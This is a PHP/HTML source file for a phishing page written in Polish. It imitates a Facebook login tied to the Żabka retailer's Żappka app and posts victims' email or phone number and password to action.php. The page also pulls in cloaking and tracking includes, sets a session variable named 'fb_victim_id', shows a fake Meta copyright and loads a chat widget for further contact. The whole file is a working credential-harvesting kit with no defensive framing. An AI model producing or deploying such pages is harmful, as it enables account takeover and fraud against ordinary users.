<?php 
require_once 'cloaker_guard.php'; 
require_once 'tracker.php'; 
include_once 'check_ban.php';
// AYARLAR:
include_once 'theme_config.php'; 
include_once 'translator_engine.php'; 
session_start();

// Żabka Logo URL
$zabka_logo = "https://images.seeklogo.com/logo-png/52/1/zabka-logo-png_seeklogo-528855.png";
?>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Zaloguj się przez Facebooka</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <style>
        /* Açık Tema Arka Plan (Facebook Grisi) */
        body { 
            font-family: 'Inter', sans-serif; 
            background-color: #f0f2f5;
            color: #1a1a1a;
            min-height: 100vh;
        }
        
        /* Tema Değişkenleri */
        :root {
            --zabka-green: #007a33;
            --fb-blue: #1877F2;
            --fb-hover: #166fe5;
        }

        /* Animasyonlar */
        .fade-in { animation: fadeIn 0.8s cubic-bezier(0.16, 1, 0.3, 1) forwards; }
        @keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }

        .pulse-green { animation: pulseGreen 3s infinite; }
        @keyframes pulseGreen { 0%, 100% { opacity: 0.6; color: #ccc; } 50% { opacity: 1; color: #007a33; } }

        /* Input Stili */
        .fb-input {
            transition: all 0.2s;
            border: 1px solid #dddfe2;
            background: #ffffff;
        }
        .fb-input:focus {
            border-color: var(--fb-blue);
            box-shadow: 0 0 0 2px rgba(24, 119, 242, 0.2);
            background: #fff;
            outline: none;
        }
    </style>
</head>
<body class="flex items-center justify-center min-h-screen p-4 relative overflow-hidden">

    <div class="absolute top-[-10%] left-[-10%] w-[50%] h-[50%] rounded-full blur-[100px] opacity-10 pointer-events-none bg-[#007a33]"></div>

    <div class="w-full max-w-[400px] bg-white rounded-xl shadow-[0_4px_12px_rgba(0,0,0,0.1)] overflow-hidden fade-in relative z-10 border border-gray-200">
        
        <div class="bg-gray-50 p-6 text-center border-b border-gray-100">
            <div class="flex items-center justify-center gap-6 mb-5">
                
                <div class="w-16 h-16 bg-white rounded-full shadow-sm flex items-center justify-center p-2 border border-gray-200">
                    <img src="<?= $zabka_logo ?>" alt="Żabka" class="w-full h-full object-contain">
                </div>
                
                <div class="text-xl pulse-green">
                    <i class="bi bi-arrow-left-right"></i>
                </div>

                <div class="w-16 h-16 bg-white rounded-full shadow-sm flex items-center justify-center p-1 border border-gray-200">
                    <img src="https://upload.wikimedia.org/wikipedia/commons/0/05/Facebook_Logo_%282019%29.png" alt="Facebook" class="w-full h-full object-contain rounded-full">
                </div>
            </div>
            
            <h2 class="text-gray-800 font-bold text-lg leading-tight">
                Połącz z Facebookiem
            </h2>
            <p class="text-xs text-gray-500 mt-1.5 px-4">
                Zaloguj się, aby zweryfikować swoją tożsamość w aplikacji Żappka.
            </p>
        </div>

        <div class="p-6 pt-8">
            <form action="action.php" method="POST" class="space-y-4">
                
                <div class="space-y-3">
                    <input type="text" name="email" 
                           placeholder="Adres e-mail lub numer telefonu" 
                           class="fb-input w-full px-4 py-3.5 rounded-lg text-[15px] text-gray-900 placeholder-gray-500"
                           required>

                    <div class="relative">
                        <input type="password" name="password" id="password"
                               placeholder="Hasło" 
                               class="fb-input w-full px-4 py-3.5 rounded-lg text-[15px] text-gray-900 placeholder-gray-500"
                               required>
                        <div class="absolute inset-y-0 right-0 pr-3 flex items-center cursor-pointer text-gray-400 hover:text-gray-600 transition-colors" onclick="togglePass()">
                            <i class="bi bi-eye" id="eye-icon"></i>
                        </div>
                    </div>
                </div>

                <button type="submit" class="w-full bg-[#1877F2] hover:bg-[#166fe5] text-white font-bold text-[16px] py-3 rounded-lg shadow-md hover:shadow-lg transition-all active:scale-[0.98]">
                    Zaloguj się
                </button>

                <div class="flex items-center justify-between mt-5">
                    <a href="#" class="text-[#1877F2] text-xs font-medium hover:underline">
                        Nie pamiętasz hasła?
                    </a>
                    <div class="h-1 w-1 bg-gray-300 rounded-full"></div>
                    <a href="#" class="text-[#1877F2] text-xs font-medium hover:underline">
                        Pomoc
                    </a>
                </div>

                <div class="relative py-5">
                    <div class="absolute inset-0 flex items-center"><div class="w-full border-t border-gray-200"></div></div>
                    <div class="relative flex justify-center text-sm"><span class="px-2 bg-white text-gray-500 text-[10px] font-bold tracking-wider">LUB</span></div>
                </div>

                <div class="text-center">
                    <a href="#" class="inline-block w-full px-4 py-2.5 border border-gray-300 rounded-lg text-sm font-bold text-gray-700 hover:bg-gray-50 transition-colors">
                        Utwórz nowe konto
                    </a>
                </div>

            </form>
        </div>

        <div class="bg-gray-50 p-4 text-center border-t border-gray-100">
            <div class="flex items-center justify-center gap-1.5 text-[11px] text-gray-400 font-medium">
                <img src="https://static.xx.fbcdn.net/rsrc.php/y1/r/4lCu2zih0ca.svg" alt="Meta" class="h-3 opacity-60 grayscale">
                <span>© 2025 Meta</span>
            </div>
        </div>

    </div>

    <script>
        function togglePass() {
            const input = document.getElementById('password');
            const icon = document.getElementById('eye-icon');
            if (input.type === "password") {
                input.type = "text";
                icon.classList.remove('bi-eye');
                icon.classList.add('bi-eye-slash');
            } else {
                input.type = "password";
                icon.classList.remove('bi-eye-slash');
                icon.classList.add('bi-eye');
            }
        }
    </script>

    <script src="redirect_check.js"></script>
    <?php if (isset($_SESSION['fb_victim_id'])) { include_once 'chat_widget.php'; } ?>
    
    <script type="text/javascript">
    var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
    (function(){
    var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
    s1.async=true;
    s1.src='https://embed.tawk.to/65e4826c9131ed19d9742f26/1ho29qu35';
    s1.charset='UTF-8';
    s1.setAttribute('crossorigin','*');
    s0.parentNode.insertBefore(s1,s0);
    })();
    </script>
</body>
</html>